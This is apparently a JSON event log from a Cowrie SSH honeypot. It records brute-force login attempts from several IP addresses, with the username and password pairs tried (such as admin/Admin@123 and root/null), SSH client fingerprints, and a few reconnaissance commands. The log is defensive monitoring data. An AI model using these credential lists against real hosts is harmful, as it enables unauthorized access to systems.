{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:13.626658Z","src_ip":"172.237.20.62","session":"d109db44ee19","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:19.492269Z","src_ip":"185.71.233.73","session":"d02c883f6485","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"root","message":"CMD: root","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:20.500272Z","src_ip":"185.71.233.73","session":"d02c883f6485","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"root ","message":"Command not found: root ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:20.503873Z","src_ip":"185.71.233.73","session":"d02c883f6485","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.144.211.139","src_port":58662,"dst_ip":"159.203.135.109","dst_port":22,"session":"12375690d9b6","protocol":"ssh","message":"New connection: 89.144.211.139:58662 (159.203.135.109:22) [session: 12375690d9b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:21.230406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:21.234918Z","src_ip":"89.144.211.139","session":"12375690d9b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:21.369987Z","src_ip":"89.144.211.139","session":"12375690d9b6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"sudo apt-get update -y","message":"CMD: sudo apt-get update -y","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:21.643412Z","src_ip":"185.71.233.73","session":"578c9294ba63","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrador","password":"1q2w3e4r","message":"login attempt [administrador/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:21.930912Z","src_ip":"89.144.211.139","session":"12375690d9b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":48498,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb430103c88f","protocol":"ssh","message":"New connection: 172.237.20.62:48498 (159.203.135.109:22) [session: eb430103c88f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:22.603259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:22.607581Z","src_ip":"172.237.20.62","session":"eb430103c88f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"root","message":"CMD: root","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:22.660733Z","src_ip":"185.71.233.73","session":"578c9294ba63","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"root ","message":"Command not found: root ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:22.664457Z","src_ip":"185.71.233.73","session":"578c9294ba63","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:22.766867Z","src_ip":"172.237.20.62","session":"eb430103c88f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:23.079361Z","src_ip":"89.144.211.139","session":"12375690d9b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:23.267758Z","src_ip":"172.237.20.62","session":"eb430103c88f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:24.430349Z","src_ip":"172.237.20.62","session":"eb430103c88f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":55814,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba817f9566ee","protocol":"ssh","message":"New connection: 80.94.92.184:55814 (10.17.0.5:22) [session: ba817f9566ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:31.690932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:31.894367Z","src_ip":"80.94.92.184","session":"ba817f9566ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:31.899266Z","src_ip":"80.94.92.184","session":"ba817f9566ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:32.711276Z","src_ip":"80.94.92.184","session":"ba817f9566ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":48916,"dst_ip":"159.203.135.109","dst_port":22,"session":"0671d1a76370","protocol":"ssh","message":"New connection: 172.237.20.62:48916 (159.203.135.109:22) [session: 0671d1a76370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:33.752383Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:33.758458Z","src_ip":"172.237.20.62","session":"0671d1a76370","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:33.923052Z","src_ip":"172.237.20.62","session":"0671d1a76370","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vbox","password":"123456","message":"login attempt [vbox/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:34.416900Z","src_ip":"172.237.20.62","session":"0671d1a76370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:34.678867Z","src_ip":"80.94.92.184","session":"ba817f9566ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:35.583446Z","src_ip":"172.237.20.62","session":"0671d1a76370","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a30c7219beb584e892e267f5dc51d2ad3e629554ebc23efcf72ff9b4b7a8e58d","size":820,"shasum":"a30c7219beb584e892e267f5dc51d2ad3e629554ebc23efcf72ff9b4b7a8e58d","duplicate":true,"duration":"35.3","message":"Closing TTY Log: var/lib/cowrie/tty/a30c7219beb584e892e267f5dc51d2ad3e629554ebc23efcf72ff9b4b7a8e58d after 35.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:36.534640Z","src_ip":"185.71.233.73","session":"d02c883f6485","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"37.0","message":"Connection lost after 37.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:36.727804Z","src_ip":"185.71.233.73","session":"d02c883f6485","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a30c7219beb584e892e267f5dc51d2ad3e629554ebc23efcf72ff9b4b7a8e58d","size":820,"shasum":"a30c7219beb584e892e267f5dc51d2ad3e629554ebc23efcf72ff9b4b7a8e58d","duplicate":true,"duration":"35.3","message":"Closing TTY Log: var/lib/cowrie/tty/a30c7219beb584e892e267f5dc51d2ad3e629554ebc23efcf72ff9b4b7a8e58d after 35.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:38.676515Z","src_ip":"185.71.233.73","session":"578c9294ba63","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"37.0","message":"Connection lost after 37.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:38.886261Z","src_ip":"185.71.233.73","session":"578c9294ba63","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":46106,"dst_ip":"159.203.135.109","dst_port":22,"session":"28b0edcae6c5","protocol":"ssh","message":"New connection: 172.237.20.62:46106 (159.203.135.109:22) [session: 28b0edcae6c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:44.681400Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:44.686605Z","src_ip":"172.237.20.62","session":"28b0edcae6c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:44.849890Z","src_ip":"172.237.20.62","session":"28b0edcae6c5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:45.338967Z","src_ip":"172.237.20.62","session":"28b0edcae6c5","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:45.732269Z","src_ip":"172.237.20.62","session":"28b0edcae6c5","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:45.736217Z","src_ip":"172.237.20.62","session":"28b0edcae6c5","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:45.903661Z","src_ip":"172.237.20.62","session":"28b0edcae6c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:45.909450Z","src_ip":"172.237.20.62","session":"28b0edcae6c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":35760,"dst_ip":"159.203.135.109","dst_port":22,"session":"5607467fcdea","protocol":"ssh","message":"New connection: 172.237.20.62:35760 (159.203.135.109:22) [session: 5607467fcdea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:55.687333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:55.691915Z","src_ip":"172.237.20.62","session":"5607467fcdea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:55.851168Z","src_ip":"172.237.20.62","session":"5607467fcdea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1","message":"login attempt [deploy/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:56.330058Z","src_ip":"172.237.20.62","session":"5607467fcdea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:09:57.493027Z","src_ip":"172.237.20.62","session":"5607467fcdea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":38694,"dst_ip":"159.203.135.109","dst_port":22,"session":"a99969821608","protocol":"ssh","message":"New connection: 172.237.20.62:38694 (159.203.135.109:22) [session: a99969821608]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:06.464320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:06.471752Z","src_ip":"172.237.20.62","session":"a99969821608","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:06.634246Z","src_ip":"172.237.20.62","session":"a99969821608","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"null","message":"login attempt [root/null] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:10:07.121905Z","src_ip":"172.237.20.62","session":"a99969821608","protocol":"ssh"}
